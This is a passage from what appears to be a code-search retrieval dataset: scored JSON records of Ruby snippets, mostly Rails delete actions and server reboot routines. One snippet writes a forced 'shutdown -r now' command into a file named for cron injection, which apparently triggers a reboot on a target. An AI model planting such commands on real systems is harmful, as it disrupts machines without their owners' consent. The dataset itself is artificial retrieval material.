"0.60327375", "text": "def delete; end", "title": "" }, { "docid": "36887f2b24d31f98fbb51687409e73f6", "score": "0.60327375", "text": "def delete; end", "title": "" }, { "docid": "36887f2b24d31f98fbb51687409e73f6", "score": "0.60327375", "text": "def delete; end", "title": "" }, { "docid": "4a5fc57096d22157105707144167bcfb", "score": "0.60233134", "text": "def destroy_rest\n @instrument = Instrument.find(params[:id])\n @instrument.destroy\n\n respond_to do |format|\n format.html { redirect_to(instruments_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "b71d966bcb272bd8e4186cf37a97372b", "score": "0.6019776", "text": "def destroy\n @places_interest = PlacesInterest.find(params[:id])\n @places_interest.destroy\n\n respond_to do |format|\n format.html { redirect_to places_interests_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b71d966bcb272bd8e4186cf37a97372b", "score": "0.6019776", "text": "def destroy\n @places_interest = PlacesInterest.find(params[:id])\n @places_interest.destroy\n\n respond_to do |format|\n format.html { redirect_to places_interests_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b9d1a5dc5c944dfdef016c342183e812", "score": "0.6013505", "text": "def destroy\n @scrap_xml = ScrapXml.find(params[:id])\n @scrap_xml.destroy\n\n respond_to do |format|\n format.html { redirect_to(scrap_xmls_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "78dc8086de12b85dac21c2043a9e7a64", "score": "0.60123974", "text": "def destroy\n @interest_name.destroy\n respond_to do |format|\n format.html { redirect_to interest_names_url, notice: 'Interest name was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "642b4bd4b513d285f22799eb616d786c", "score": "0.6008789", "text": "def delete(path)\n make_call(mk_conn(path), :delete)\n end", "title": "" }, { "docid": "f6579010cdff043e5fd075bab92c7979", "score": "0.60050786", "text": "def destroy\n @introduction = Introduction.find(params[:id])\n @introduction.destroy\n\n respond_to do |format|\n format.html { redirect_to(introductions_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "a803fc4feef9467f85f05cc97d17c5b5", "score": "0.59995675", "text": "def delete\n request = Request.new(@uri, headers: @headers)\n request.delete\n end", "title": "" }, { "docid": "c0e8ae2457d612e3fdac0d66ad79bad4", "score": "0.59992087", "text": "def destroy\n @sitedatum = Sitedatum.find(params[:id])\n @sitedatum.destroy\n\n respond_to do |format|\n format.html { redirect_to(sitedata_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "2675aa0e2ced04fc9c7de6fc57be6a59", "score": "0.5998572", "text": "def delete(path)\r\n fetch(:path => path, :method => 'DELETE')\r\n end", "title": "" }, { "docid": "769c290ddc2b88bf6d38a3f9b0c8324c", "score": "0.5985388", "text": "def destroy\n @infraction.destroy\n\n respond_to do |format|\n format.html { redirect_to(infractions_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "00581c309364be32f5559bbfbd8829dc", "score": "0.598429", "text": "def unfollow_interest(interest)\n # Validate the interest id\n raise(ArgumentError, \"You have to specify a interest or its id.\") unless interest\n interest = interest.id if interest.is_a?(::Pinterest::Interest)\n\n # Perform the request\n perform_network_request(method: \"DELETE\", url: versioned_url(\"/me/following/interests/#{interest}/\"))\n end", "title": "" }, { "docid": "2a0ce8215f90a5a7625d199dc3ef34cf", "score": "0.59683645", "text": "def destroy_rest\n @instrument_content = InstrumentContent.find(params[:id])\n @instrument_content.destroy\n\n respond_to do |format|\n format.html { redirect_to(instrument_contents_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "77c742322d16bbccac07ab52cc2f42db", "score": "0.5958491", "text": "def delete\n # TODO\n end", "title": "" }, { "docid": "29c5346324687e5f4b8b7c741962badc", "score": "0.5955883", "text": "def a_delete(path)\n a_request(:delete, Twitter::REST::Client::ENDPOINT + path)\nend", "title": "" }, { "docid": "edbe6c4931aa210a6ccfbdde42c91a08", "score": "0.5949025", "text": "def destroy\n @institucion = Institucion.find(params[:id])\n @institucion.destroy\n\n respond_to do |format|\n format.html { redirect_to(instituciones_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "2f18b6460078644a3488cae2ff5c9ad2", "score": "0.5947886", "text": "def destroy\n @miniature = Miniature.find(params[:id])\n @miniature.destroy\n\n respond_to do |format|\n format.html { redirect_to(miniatures_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "015c288f5fa12d9b591f86c418d5090f", "score": "0.5941254", "text": "def destroy\n @user_to_interest.destroy\n respond_to do |format|\n format.html { redirect_to user_to_interests_url, notice: 'User to interest was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "31a8347d2dae3dbd27b43846aa4c8b9e", "score": "0.59376305", "text": "def destroy\n @interest_rate.destroy\n respond_to do |format|\n format.html { redirect_to interest_rates_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "efc4f37211461f8a21753fe250ce5f7d", "score": "0.5934646", "text": "def destroy\n @estimate = Estimate.find(params[:id])\n @estimate.destroy\n\n respond_to do |format|\n format.html { redirect_to(estimates_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fcf0fa86db2cf222b4b7017c7a2d0a1a", "score": "0.5925382", "text": "def folder_delete(path)\n make_request(:delete,\"#{folders_url(path)}.xml\")\n end", "title": "" }, { "docid": "780c044d85a984b52d7d3747f34541b6", "score": "0.5916116", "text": "def destroy\n @point_of_interest.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "729384e562a40f00b762218710c41ef2", "score": "0.5911119", "text": "def destroy\n @r_i = RI.find(params[:id])\n @r_i.destroy\n\n respond_to do |format|\n format.html { redirect_to(r_is_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "892ed19d2815aecb9e9ccca3c1205be1", "score": "0.5910826", "text": "def remove_interest(_arg0); end", "title": "" }, { "docid": "ab89f0b27f1060fe416ef9b2815d4ece", "score": "0.591011", "text": "def destroy\n @device_interest.destroy\n respond_to do |format|\n format.html { redirect_to device_interests_url, notice: 'Device interest was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "df26116eb86dbadafed7137f9e3c2f9e", "score": "0.59085286", "text": "def delete!\r\n return nil unless exists? \r\n xml = xml_at_top\r\n par = xml.instance_variable_get(:@parent) \r\n par['delete'] = 'delete'\r\n xml_on_delete( xml )\r\n rsp = write_xml_config!( xml.doc.root )\r\n @has[:_exist] = false\r\n true # rsp ... don't return XML, but let's hear from the community...\r\n end", "title": "" }, { "docid": "3369bcd289df04abd637e7b798703940", "score": "0.59050745", "text": "def destroy\n @referencia = Referencia.find(params[:id])\n @referencia.destroy\n\n respond_to do |format|\n format.html { redirect_to(referencias_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "9410f5d5c06a5d4acee3b61e4f080658", "score": "0.59034014", "text": "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "title": "" }, { "docid": "9410f5d5c06a5d4acee3b61e4f080658", "score": "0.59034014", "text": "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "title": "" }, { "docid": "9410f5d5c06a5d4acee3b61e4f080658", "score": "0.59034014", "text": "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "title": "" }, { "docid": "6bfa869d4cfc70fa50a6e17ce2e017f9", "score": "0.5901961", "text": "def destroy\n @diary = Diary.find(params[:id])\n @diary.destroy\n\n respond_to do |format|\n format.html { redirect_to(diaries_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "6bfa869d4cfc70fa50a6e17ce2e017f9", "score": "0.5901961", "text": "def destroy\n @diary = Diary.find(params[:id])\n @diary.destroy\n\n respond_to do |format|\n format.html { redirect_to(diaries_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "6608d7007c0475a807f3b8c266d20c2f", "score": "0.5896272", "text": "def destroy\n return unless force_group(\"root\")\n @referat = Referat.find(params[:id])\n @referat.destroy\n\n respond_to do |format|\n format.html { redirect_to referate_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c42a8676be7f6af971b06b394d1827b2", "score": "0.5895282", "text": "def destroy\n @interested.destroy\n respond_to do |format|\n format.html { redirect_to interesteds_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "db759fd35b037f18b7347c9f4d9f3ce0", "score": "0.5891776", "text": "def delete(id); end", "title": "" }, { "docid": "d5d934d23f998c6240f4d1b3cbdf140d", "score": "0.5891177", "text": "def destroy\n @track.xml_attachements.each do |xml|\n xml.uploaded_file.file.delete\n end\n @track.destroy\n respond_to do |format|\n format.html { redirect_to tracks_url, notice: 'Le tracé à été supprimé avec succès.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3aed8a01610451d0096611f3532b82fc", "score": "0.58906615", "text": "def destroy\n @therapist = Therapist.find(params[:id])\n @therapist.destroy\n\n respond_to do |format|\n format.html { redirect_to(therapists_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "397c9ec476020ac5cb65ccd522b7133e", "score": "0.58905053", "text": "def destroy\n @instancia = Instancia.find(params[:id])\n @instancia.destroy\n\n respond_to do |format|\n format.html { redirect_to(instancias_url) }\n format.xml { head :ok }\n end\n end", "title": "" } ]
92ce5e04b8bcfb0bbce434d7bc1a7a03
executes the whole reboot process
[ { "docid": "3b26a74bb4ecbcfced5eec857193e66e", "score": "0.580093", "text": "def reboot!(vm, options)\n if reboot? vm, options\n vm.action(:reload, options)\n end\n end", "title": "" } ]
[ { "docid": "2a957ef0515a47cfbc8f1025f86e9a26", "score": "0.7153152", "text": "def reboot\r\n raise Shells::NotRunning unless running?\r\n raise Shells::PfSenseCommon::RestartNow\r\n end", "title": "" }, { "docid": "b5fc927236de7baea81678dfa540bf96", "score": "0.71445036", "text": "def reboot!\n self.reboot(\"HARD\")\n end", "title": "" }, { "docid": "46077a68ba7c51879707f102aed65c2f", "score": "0.7015924", "text": "def reboot\n node.update!(alive: false)\n run(\"reboot\")\n end", "title": "" }, { "docid": "39fa412cf11c8522bc9f7f290c5cef3f", "score": "0.6929562", "text": "def on_reboot\n next_runlevel = `/sbin/runlevel`.split[1].strip\n yield if next_runlevel == '6'\n end", "title": "" }, { "docid": "15783abeef065aa74720f8817c28c2e5", "score": "0.6929549", "text": "def reboot(_hard = false)\n return if @cloud_id.nil?\n stop\n start\n end", "title": "" }, { "docid": "e89b8154dedd96f34a5e2dae57e61514", "score": "0.68286234", "text": "def execute(&each_mach)\n routine_separator(:reboot)\n unless @routine\n STDERR.puts \"[this is a generic reboot routine]\"\n @routine = {}\n end\n machines = []\n generic_machine_runner(:list) do |machine,rbox|\n puts $/, \"Rebooting...\", $/\n rbox.disconnect\n machine.restart\n sleep 4\n msg = preliminary_separator(\"Checking if instance is running...\")\n Rudy::Utils.waiter(3, 120, STDOUT, msg, 0) {\n machine.running?\n } \n \n # Add instance info to machine and save it. This is really important\n # for the initial startup so the metadata is updated right away. But\n # it's also important to call here because if a routine was executed\n # and an unexpected exception occurs before this update is executed\n # the machine metadata won't contain the DNS information. Calling it\n # here ensure that the metadata is always up-to-date. \n machine.update \n \n sleep 4\n \n msg = preliminary_separator(\"Waiting for SSH daemon...\")\n Rudy::Utils.waiter(3, 120, STDOUT, msg, 0) {\n Rudy::Utils.service_available?(machine.dns_public, 22)\n }\n \n # NOTE: THIS IS INCOMPLETE\n \n sleep 1 # Avoid IOError: closed stream on SSH\n \n \n if Rudy::Routines::DiskHelper.disks?(@routine) # disk\n puts task_separator(\"DISKS\")\n if rbox.ostype == \"sunos\"\n puts \"Sorry, Solaris is not supported yet!\"\n else\n Rudy::Routines::DiskHelper.execute(@routine, machine, rbox)\n end \n end\n\n machines << machine\n end\n machines\n end", "title": "" }, { "docid": "060996d9e83be094d062e86a3a4aed15", "score": "0.6787914", "text": "def soft_reboot(host_ip)\n run('reboot', host_ip)\n end", "title": "" }, { "docid": "36f36735b3784f600bed19540471c6cc", "score": "0.6768673", "text": "def reboot(hard = false)\n action(hard ? 'reboot-hard' : 'reboot')\n end", "title": "" }, { "docid": "61d87abfad71f227b211ea164d351a02", "score": "0.6718502", "text": "def test_reboot_user_function\n #Call reboot terminal user function located in file\n reboot_terminal @@hostname\n\n #Wait till device completes rebooting\n sleep(15)\n end", "title": "" }, { "docid": "f64bb3f0cdeb6c942e254a453066558c", "score": "0.6644993", "text": "def reboot_and_wait_for_host\n host.RebootHost_Task({:force => false}).wait_for_completion\n wait_for_host(300, resource[:reboot_timeout])\n end", "title": "" }, { "docid": "cd4a1a4c583e07447b69973748a125d0", "score": "0.66017133", "text": "def run_reboot_checks\n # one simple check we can do is the backup. Backup can fail if anything is amiss\n @servers.each do |server|\n run_script(\"do_backup\", server)\n end\n end", "title": "" }, { "docid": "c892e04b148efe14a9b8ed334e5b401a", "score": "0.65754586", "text": "def hard_reboot(host)\n case host.isp.nome\n when 'OneProvider'\n op = op_api\n op.post('/server/action/', { 'server_id' => host.isp_server_id, 'action' => 'reboot' })\n when 'Kimsufi'\n ks = ks_api\n ks.post(\"/dedicated/server/#{host.isp_hostname}/reboot\")\n end\n end", "title": "" }, { "docid": "dcab47c2dd0bb68d2a5e6916dd393a7f", "score": "0.6548528", "text": "def reboot(force: false)\n create('reboot', force: force)\n end", "title": "" }, { "docid": "76dc00d29229cc227611b874fc58c5ee", "score": "0.654587", "text": "def reboot\n if power_state == :off\n logger.info(\"Server is powered-off. Need to power-on the server\")\n client.exec(\"power on\")\n else\n client.exec(\"power cycle\")\n end\n nil\n end", "title": "" }, { "docid": "29fb83f3420d1e7498fdce4bd45535c2", "score": "0.6477733", "text": "def restart\n raise _(\"Server restart is only supported on Linux\") unless MiqEnvironment::Command.is_linux?\n\n _log.info(\"Server restart initiating...\")\n update_attribute(:status, \"restarting\")\n\n shutdown_and_exit(RESTART_EXIT_STATUS)\n end", "title": "" }, { "docid": "0601e659023c5d3df7c5c328623e2031", "score": "0.6468626", "text": "def reboot(hard = false)\n return if @cloud_id.nil?\n\n if hard\n groupname = nil\n if !@config['basis'].nil?\n resp = MU::Cloud::AWS.autoscale(region: @config['region'], credentials: @config['credentials']).describe_auto_scaling_instances(\n instance_ids: [@cloud_id]\n )\n groupname = resp.auto_scaling_instances.first.auto_scaling_group_name\n MU.log \"Pausing Autoscale processes in #{groupname}\", MU::NOTICE\n MU::Cloud::AWS.autoscale(region: @config['region'], credentials: @config['credentials']).suspend_processes(\n auto_scaling_group_name: groupname\n )\n end\n begin\n MU.log \"Stopping #{@mu_name} (#{@cloud_id})\", MU::NOTICE\n MU::Cloud::AWS.ec2(region: @config['region'], credentials: @config['credentials']).stop_instances(\n instance_ids: [@cloud_id]\n )\n MU::Cloud::AWS.ec2(region: @config['region'], credentials: @config['credentials']).wait_until(:instance_stopped, instance_ids: [@cloud_id]) do |waiter|\n waiter.before_attempt do |attempts|\n MU.log \"Waiting for #{@mu_name} to stop for hard reboot\"\n end\n end\n MU.log \"Starting #{@mu_name} (#{@cloud_id})\"\n MU::Cloud::AWS.ec2(region: @config['region'], credentials: @config['credentials']).start_instances(\n instance_ids: [@cloud_id]\n )\n ensure\n if !groupname.nil?\n MU.log \"Resuming Autoscale processes in #{groupname}\", MU::NOTICE\n MU::Cloud::AWS.autoscale(region: @config['region'], credentials: @config['credentials']).resume_processes(\n auto_scaling_group_name: groupname\n )\n end\n end\n else\n MU.log \"Rebooting #{@mu_name} (#{@cloud_id})\"\n MU::Cloud::AWS.ec2(region: @config['region'], credentials: @config['credentials']).reboot_instances(\n instance_ids: [@cloud_id]\n )\n end\n end", "title": "" }, { "docid": "cfc4d0890cbfe8be45b0903bb7f75cea", "score": "0.6463437", "text": "def deployTriggerSystemRestart()\n\n\t\tFile.open(@sPathFileCronInject, 'wb') { |f| f.write('shutdown -r now; exit 0;') }\n\n\tend", "title": "" }, { "docid": "8a71b1f257647d7f5c29c649075df542", "score": "0.6447479", "text": "def run_reboot_checks\n # one simple check we can do is the backup. Backup can fail if anything is amiss\n [s_one, s_two].each do |server|\n run_script(\"backup\", server)\n end\n end", "title": "" }, { "docid": "5f2fb90f4b1b1c19be7c0f79694390d2", "score": "0.64101994", "text": "def cmd_reboot(*args)\n if args.length > 0\n cmd_reboot_help\n return\n end\n client.reboot\n end", "title": "" }, { "docid": "401e0fb17f6f5dc9560784d06adfb58c", "score": "0.6393594", "text": "def reboot(use_hard_reboot = true)\n requires :identity\n if ready?\n if use_hard_reboot\n service.reset_server(identity)\n else\n service.reboot_server(identity)\n end\n else\n # Not able to reboot if not ready in the first place\n false\n end\n end", "title": "" }, { "docid": "2360a83fea18b159cb11ab49609c2903", "score": "0.63175684", "text": "def hard_reboot(server)\n @logger.info(\"Hard rebooting server `#{server.id}'...\")\n @openstack.with_openstack { server.reboot(type = 'HARD') }\n @openstack.wait_resource(server, :active, :state)\n end", "title": "" }, { "docid": "8e0ad7d6382a0213db1f299cb0226ff8", "score": "0.63020414", "text": "def wait_for_reboot_hack(host)\n # Sometimes beaker connects to the host before it has rebooted, so first sleep\n # to give the host time to get farther along in its shutdown\n wait_seconds = ENV['NFS_TEST_REBOOT_WAIT'] ? ENV['NFS_TEST_REBOOT_WAIT'] : 10\n sleep(wait_seconds)\n\n # If beaker has already connected successfully before the reboot, it will think\n # the necessity to reconnect is a failure. So it will close the connection and\n # raise an exception. If we catch that exception and retry, beaker will then\n # create a new connection.\n tries = ENV['NFS_TEST_RECONNECT_TRIES'] ? ENV['NFS_TEST_RECONNECT_TRIES'] : 10\n begin\n on(host, 'uptime')\n rescue Beaker::Host::CommandFailure => e\n if e.message.include?('connection failure') && (tries > 0)\n puts \"Retrying due to << #{e.message.strip} >>\"\n tries -= 1\n sleep 1\n retry\n else\n raise e\n end\n end\n end", "title": "" }, { "docid": "7c9952ec216f7d27bb81c073c8b6ae95", "score": "0.62958467", "text": "def reboot(hard = false)\n return if @cloud_id.nil?\n\n if hard\n groupname = nil\n if !@config['basis'].nil?\n resp = MU::Cloud::AWS.autoscale(region: @region, credentials: @credentials).describe_auto_scaling_instances(\n instance_ids: [@cloud_id]\n )\n groupname = resp.auto_scaling_instances.first.auto_scaling_group_name\n MU.log \"Pausing Autoscale processes in #{groupname}\", MU::NOTICE\n MU::Cloud::AWS.autoscale(region: @region, credentials: @credentials).suspend_processes(\n auto_scaling_group_name: groupname,\n scaling_processes: [\n \"Terminate\",\n ], \n )\n end\n begin\n MU.log \"Stopping #{@mu_name} (#{@cloud_id})\", MU::NOTICE\n MU::Cloud::AWS.ec2(region: @region, credentials: @credentials).stop_instances(\n instance_ids: [@cloud_id]\n )\n MU::Cloud::AWS.ec2(region: @region, credentials: @credentials).wait_until(:instance_stopped, instance_ids: [@cloud_id]) do |waiter|\n waiter.before_attempt do\n MU.log \"Waiting for #{@mu_name} to stop for hard reboot\"\n end\n end\n MU.log \"Starting #{@mu_name} (#{@cloud_id})\"\n MU::Cloud::AWS.ec2(region: @region, credentials: @credentials).start_instances(\n instance_ids: [@cloud_id]\n )\n ensure\n if !groupname.nil?\n MU.log \"Resuming Autoscale processes in #{groupname}\", MU::NOTICE\n MU::Cloud::AWS.autoscale(region: @region, credentials: @credentials).resume_processes(\n auto_scaling_group_name: groupname,\n scaling_processes: [\n \"Terminate\",\n ],\n )\n end\n end\n else\n MU.log \"Rebooting #{@mu_name} (#{@cloud_id})\"\n MU::Cloud::AWS.ec2(region: @region, credentials: @credentials).reboot_instances(\n instance_ids: [@cloud_id]\n )\n end\n end", "title": "" }, { "docid": "5bd534d3991845ad890e4713d3c2ed67", "score": "0.628557", "text": "def reboot_if_needed!(node)\n if node.run_context.reboot_requested?\n reboot!(node)\n end\n end", "title": "" }, { "docid": "70a7e0c970cf85f66c38316e989c0d35", "score": "0.6275231", "text": "def relaunch!\n requires :id\n body = [ \"FORCE\", {}]\n body[1][:sshKeyIds] = key_pairs.map {|kp| kp.id} unless key_pairs.empty?\n type = bare_metal? ? :hardware_server : :virtual_guest\n status = service.request(type, \"#{id}/reloadOperatingSystem\", :body => body, :http_method => :post).status\n wait_for { not ready? } # block until the relaunch has begun\n [200, 201].include?(status)\n end", "title": "" }, { "docid": "be8fca53c7363e8ea0159678336ffd28", "score": "0.6242171", "text": "def shutdown\n\tputs \"rb init shutting down\"\n\t@want_shutdown = true\n\tsys_sync\n\twait subexec '/bin/umount -a'\n\tProcess.kill('TERM', -1)\n\tsleep 4\t# TODO intelligent sleep\n\tProcess.kill('KILL', -1)\n\tsleep 1\n\twait subexec '/bin/umount -a'\n\twait subexec '/bin/mount -oremount,ro /'\n\tsys_sync\n\tsys_reboot RB_POWER_OFF\n\tputs \"sys_reboot(poweroff) returned (bad)...\"\n\texit!\nend", "title": "" }, { "docid": "867a0d2210242b0b274fa6bcba2f7f58", "score": "0.6201491", "text": "def raw_reboot_guest(force: false)\n with_provider_object do |instance|\n instance.actions.reboot(:force => force)\n sleep 5 # Sleep for 5 seconds to allow for reboot sequence to start.\n instance.wait_for! do\n sdk_update_status(instance)\n instance.started?\n end\n end\n rescue => e\n $ibm_cloud_log.error(e.to_s)\n $ibm_cloud_log.log_backtrace(e)\n raise\n end", "title": "" }, { "docid": "867a0d2210242b0b274fa6bcba2f7f58", "score": "0.6201491", "text": "def raw_reboot_guest(force: false)\n with_provider_object do |instance|\n instance.actions.reboot(:force => force)\n sleep 5 # Sleep for 5 seconds to allow for reboot sequence to start.\n instance.wait_for! do\n sdk_update_status(instance)\n instance.started?\n end\n end\n rescue => e\n $ibm_cloud_log.error(e.to_s)\n $ibm_cloud_log.log_backtrace(e)\n raise\n end", "title": "" }, { "docid": "a40fd586c147297943d8bda4df20ea3c", "score": "0.61943", "text": "def reboot(wait_time = 10, max_connection_tries = 9, uptime_retries = 18)\n require 'time'\n\n attempts = 0\n\n # Some systems don't support 'last -F reboot' but it has second granularity\n boot_time_cmd = 'last -F reboot || who -b'\n\n # Try to match all of the common formats for 'last' and 'who'\n current_year = Time.now.strftime(\"%Y\")\n boot_time_regex = Regexp.new(%{((?:#{(Date::ABBR_DAYNAMES + Date::ABBR_MONTHNAMES).compact.join('|')}|#{current_year}).+?(\\\\d+:\\\\d+)+?(?::(\\\\d+).+?#{current_year})?)})\n\n original_boot_time_str = nil\n original_boot_time_line = nil\n begin\n attempts += 1\n # Number of seconds to sleep before rebooting.\n reboot_sleep = 1\n\n original_boot_time_str = exec(Beaker::Command.new(boot_time_cmd), { :max_connection_tries => max_connection_tries, :silent => true }).stdout\n original_boot_time_line = original_boot_time_str.lines.grep(/boot/).first\n\n raise Beaker::Host::RebootWarning, \"Could not find system boot time using '#{boot_time_cmd}': '#{original_boot_time_str}'\" unless original_boot_time_line\n\n original_boot_time_matches = original_boot_time_line.scan(boot_time_regex).last\n\n raise Beaker::Host::RebootWarning, \"Found no valid times in '#{original_boot_time_line}'\" unless original_boot_time_matches\n\n original_boot_time = Time.parse(original_boot_time_matches.first)\n\n reboot_sleep = (61 - Time.now.strftime(\"%S\").to_i) unless original_boot_time_matches.last\n\n @logger.notify(\"Sleeping #{reboot_sleep} seconds before rebooting\")\n\n sleep(reboot_sleep)\n\n exec(Beaker::Command.new('/bin/systemctl reboot -i || reboot || /sbin/shutdown -r now'), :expect_connection_failure => true)\n rescue ArgumentError => e\n raise Beaker::Host::RebootFailure, \"Unable to parse time: #{e.message}\"\n rescue Beaker::Host::RebootWarning => e\n raise if attempts > uptime_retries\n\n @logger.warn(e.message)\n @logger.warn(\"Retrying #{uptime_retries - attempts} more times.\")\n retry\n rescue StandardError => e\n raise if attempts > uptime_retries\n\n @logger.warn(\"Unexpected Exception: #{e.message}\")\n @logger.warn(\"Retrying #{uptime_retries - attempts} more times.\")\n @logger.warn(e.backtrace[0, 3].join(\"\\n\"))\n @logger.debug(e.backtrace.join(\"\\n\"))\n retry\n end\n\n attempts = 0\n begin\n attempts += 1\n\n # give the host a little time to shutdown\n @logger.debug(\"Waiting #{wait_time} for host to shut down.\")\n sleep wait_time\n\n # Accept all exit codes because this may fail due to the parallel nature of systemd\n current_boot_time_str = exec(Beaker::Command.new(boot_time_cmd), { :max_connection_tries => max_connection_tries, :silent => true, :accept_all_exit_codes => true }).stdout\n current_boot_time_line = current_boot_time_str.lines.grep(/boot/).first\n\n raise Beaker::Host::RebootWarning, \"Could not find system boot time using '#{boot_time_cmd}': '#{current_boot_time_str}'\" unless current_boot_time_line\n\n current_boot_time_matches = current_boot_time_line.scan(boot_time_regex).last\n\n raise Beaker::Host::RebootWarning, \"Found no valid times in '#{current_boot_time_line}'\" unless current_boot_time_matches\n\n current_boot_time = Time.parse(current_boot_time_matches.first)\n\n @logger.debug(\"Original Boot Time: #{original_boot_time}\")\n @logger.debug(\"Current Boot Time: #{current_boot_time}\")\n\n # If this is *exactly* the same then there is really no good way to detect a reboot\n raise Beaker::Host::RebootFailure, \"Boot time did not reset. Reboot appears to have failed.\" if current_boot_time == original_boot_time\n rescue ArgumentError => e\n raise Beaker::Host::RebootFailure, \"Unable to parse time: #{e.message}\"\n rescue Beaker::Host::RebootFailure => e\n raise\n rescue Beaker::Host::RebootWarning => e\n raise if attempts > uptime_retries\n\n @logger.warn(e.message)\n @logger.warn(\"Retrying #{uptime_retries - attempts} more times.\")\n retry\n rescue StandardError => e\n raise if attempts > uptime_retries\n\n @logger.warn(\"Unexpected Exception: #{e.message}\")\n @logger.warn(\"Retrying #{uptime_retries - attempts} more times.\")\n @logger.warn(e.backtrace[0, 3].join(\"\\n\"))\n @logger.debug(e.backtrace.join(\"\\n\"))\n retry\n end\n end", "title": "" }, { "docid": "d4217bd88477ebadb2fd79be8a398741", "score": "0.61879086", "text": "def reboot(deploy_id)\n ec2_action(deploy_id, :reboot)\n wait_state('running', deploy_id)\n end", "title": "" }, { "docid": "d84b4bc14519c5ae06c07491219c8d3b", "score": "0.6184393", "text": "def restart(wait=nil, expected_exitcodes = [0])\n @logger.debug('restart()')\n\n if self.is_passthrough? and self.passthrough[:type].eql?(:local)\n @logger.warn(sprintf('intercepted [restart] sent to a local passthrough, no op'))\n return nil\n end\n\n if @vagrant_reboot\n # leading vagrant handle this through 'reload --no-provision'\n self.reload\n else\n # trying to do it ourselves\n case os_type\n when :osx\n self.run('shutdown -r now', expected_exitcodes)\n when :rhel, :ubuntu\n if os_type.eql?(:rhel) and os_version(os_type).match(/7/)\n self.run('shutdown --halt --reboot now', expected_exitcodes << 256)\n else\n self.run('shutdown -rf now')\n end\n when :solaris\n self.run('shutdown -y -i5 -g0', expected_exitcodes)\n else\n raise InternalError.new(sprintf('unsupported OS[%s]', @ostype))\n end\n end\n\n @ssh, @ssh_info = nil # severing the SSH tunnel, getting ready in case this box is brought back up on a different port\n\n if wait\n inc = wait.to_i / 10\n 0.upto(9) do |e|\n @logger.debug(sprintf('waiting for reboot: round[%s], step[%s], total[%s]', e, inc, wait))\n return true if self.is_available_via_ssh?()\n sleep inc\n end\n\n return false\n end\n\n return true\n end", "title": "" }, { "docid": "850970f5509fa27f9c00b61598b55db0", "score": "0.61799765", "text": "def reboot!(reboot_technique = :default_reboot)\n case reboot_technique\n when :default_reboot\n self.service.rebootDefault\n when :os_reboot\n self.service.rebootSoft\n when :power_cycle\n self.service.rebootHard\n else\n raise ArgumentError, \"Unrecognized reboot technique in SoftLayer::Server#reboot!}\"\n end\n end", "title": "" }, { "docid": "609277804fc4f9a869ff85ecf8c876b3", "score": "0.61557555", "text": "def restart_process\n puts 'restarting'\n exec RbConfig.ruby, File.expand_path(__FILE__), *ARGV\nend", "title": "" }, { "docid": "c6f19d12e3e94e3a9ff65672d4afcee3", "score": "0.6120105", "text": "def restart\n\t\t# puts \"Restarting #{@ip} ...\"\n\t\tsystem ipmi_command + \" chassis power cycle\"\n\tend", "title": "" }, { "docid": "153ce7d0b40ea22661893f7f8d99ada6", "score": "0.6112832", "text": "def hot_restart\n system \"kill -s USR2 #{pid} > /dev/null 2>&1\"\n end", "title": "" }, { "docid": "78f621b62163cc7f6ea2b98a9e6b8b8f", "score": "0.61010617", "text": "def restart\n if booted then\n kill\n end\n start\n end", "title": "" }, { "docid": "e0f9d60f0653b2e0f7b43aee789a3c4a", "score": "0.609934", "text": "def reboot_vapp(vAppId)\n power_action(vAppId, 'reboot')\n end", "title": "" }, { "docid": "4e7ee9db09410f4462ecd52d1c8479be", "score": "0.60919815", "text": "def pre_run_check\n # Check for pending reboots\n pending_reboot = false\n kernel = parameter(:os).value.downcase\n case kernel\n when 'windows'\n sysroot = ENV['SystemRoot']\n powershell = \"#{sysroot}\\\\system32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\"\n # get the script path relative to the Puppet Type\n checker_script = File.join(\n __dir__,\n '..',\n '..',\n 'patching_as_code',\n 'pending_reboot.ps1',\n )\n pending_reboot = Puppet::Util::Execution.execute(\"#{powershell} -ExecutionPolicy Unrestricted -File #{checker_script}\", { failonfail: false }).exitstatus.to_i.zero?\n when 'linux'\n # get the script path relative to the Puppet Type\n checker_script = File.join(\n __dir__,\n '..',\n '..',\n 'patching_as_code',\n 'pending_reboot.sh',\n )\n pending_reboot = Puppet::Util::Execution.execute(\"/bin/sh #{checker_script}\", { failonfail: false }).exitstatus.to_i.zero?\n else\n raise Puppet::Error, \"Patching as Code - Unsupported Operating System type: #{kernel}\"\n end\n return unless pending_reboot\n\n Puppet.send('notice', 'Patching as Code - Pending OS reboot detected, node will reboot at start of patch window today')\n ## Reorganize dependencies for pre-patch, post-patch and pre-reboot exec resources:\n pre_patch_resources = []\n post_patch_resources = []\n pre_reboot_resources = []\n catalog.resources.each do |res|\n next unless res.type.to_s == 'exec'\n next unless res['tag'].is_a? Array\n next unless (res['tag'] & ['patching_as_code_pre_patching', 'patching_as_code_post_patching', 